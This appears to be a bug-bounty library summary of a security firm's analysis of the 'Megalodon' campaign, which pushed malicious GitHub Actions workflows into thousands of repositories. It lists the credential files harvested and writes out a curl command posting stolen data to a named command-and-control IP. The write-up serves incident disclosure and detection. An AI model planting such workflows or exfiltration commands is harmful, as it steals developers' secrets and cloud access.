# Megalodon: Mass GitHub Actions Secret Exfiltration Across 5,500+ Public Repositories

Megalodon injected malicious GitHub Actions workflows into 5,561 repos with weak branch protection, exfiltrating cloud creds, SSH keys, and OIDC tokens to a C2 server.

- Payout: Real-world hack
- Severity: critical
- Program: GitHub
- Analysis by: StepSecurity
- Disclosed: 2026-05-22
- Write-up quality: 7/10
- Original: https://www.stepsecurity.io/blog/megalodon-mass-github-actions-secret-exfiltration-across-5-500-public-repositories
- Library page: https://bugbountylibrary.com/r/blog%3Astepsecurity-io-blog-megalodon-mass-github-actions-secret-exfiltration-across-5-500-public-repositories
- Tags: area:cloud domain:cloud domain:infra impact:data-leak impact:internal-access kind:incident platform:threat-intel sev:critical tech:ci-cd tech:github-actions technique:recon vuln:misconfiguration vuln:secrets-leak

**Target:** GitHub Actions workflow files (.github/workflows) on public repositories
**Root cause:** Repositories lacked mandatory PR review branch protection, allowing direct pushes of malicious workflow YAML to the default branch; CI runners have broad outbound access and secrets in env.
**Steps:**
1. Identify repos with weak branch protection (no mandatory PR reviews) allowing direct push to default branch
2. Push forged commit as build-bot@github-ci.com with message `ci: add build optimization step` adding `.github/workflows/SysDiag.yml` (or `Optimize-Build.yml`)
3. Workflow contains base64-encoded bash payload executed inline on next pipeline run
4. Payload dumps `env`, `/proc/1/environ`, `~/.ssh/id_*`, `~/.kube/config`, `~/.npmrc`, `~/.docker/config.json`, AWS/GCP/Azure creds, OIDC tokens, and greps workspace for 30+ secret patterns
5. Archive data with gzip and `curl -X POST https://216.126.225.129:8443/collect --data-binary @-`
6. Step exits cleanly leaving minimal forensic trace on ephemeral runner
**How found:** Threat intel analysis: researchers observed forged commits from bot-like identities (build-bot@github-ci.com, ci-pipeline@actions-bot.com) with routine CI-optimization messages, then pivoted via GitHub code search on workflow `name: SysDiag` / `name: Optimize-Build` and commit hashes to enumerate affected repos.
**Exploitation:** Attacker with write access (or weak merge controls) pushed backdoored workflow YAML directly to default branches of 5,561 repos within 6 hours. On each subsequent CI run, the payload harvested env vars, cloud credentials, SSH keys, Docker/npm/K8s/Vault/Terraform configs, and OIDC tokens, then POSTed a gzipped archive to C2 216.126.225.129:8443. Tiledesk npm package @tiledesk/tiledesk-server 2.18.6–2.18.12 was poisoned, propagating the backdoor to downstream npm consumers.
**Escalation:** Poisoned npm package propagated backdoor to downstream consumers; harvested OIDC tokens allow minting cloud sessions without static creds.
**Insight:** Workflow YAML gets far less review than app code; hunt for repos where default-branch pushes bypass PR review, and search GitHub code for suspicious workflow `name:` fields and bot-authored 'ci: optimize' commits rather than scanning application source.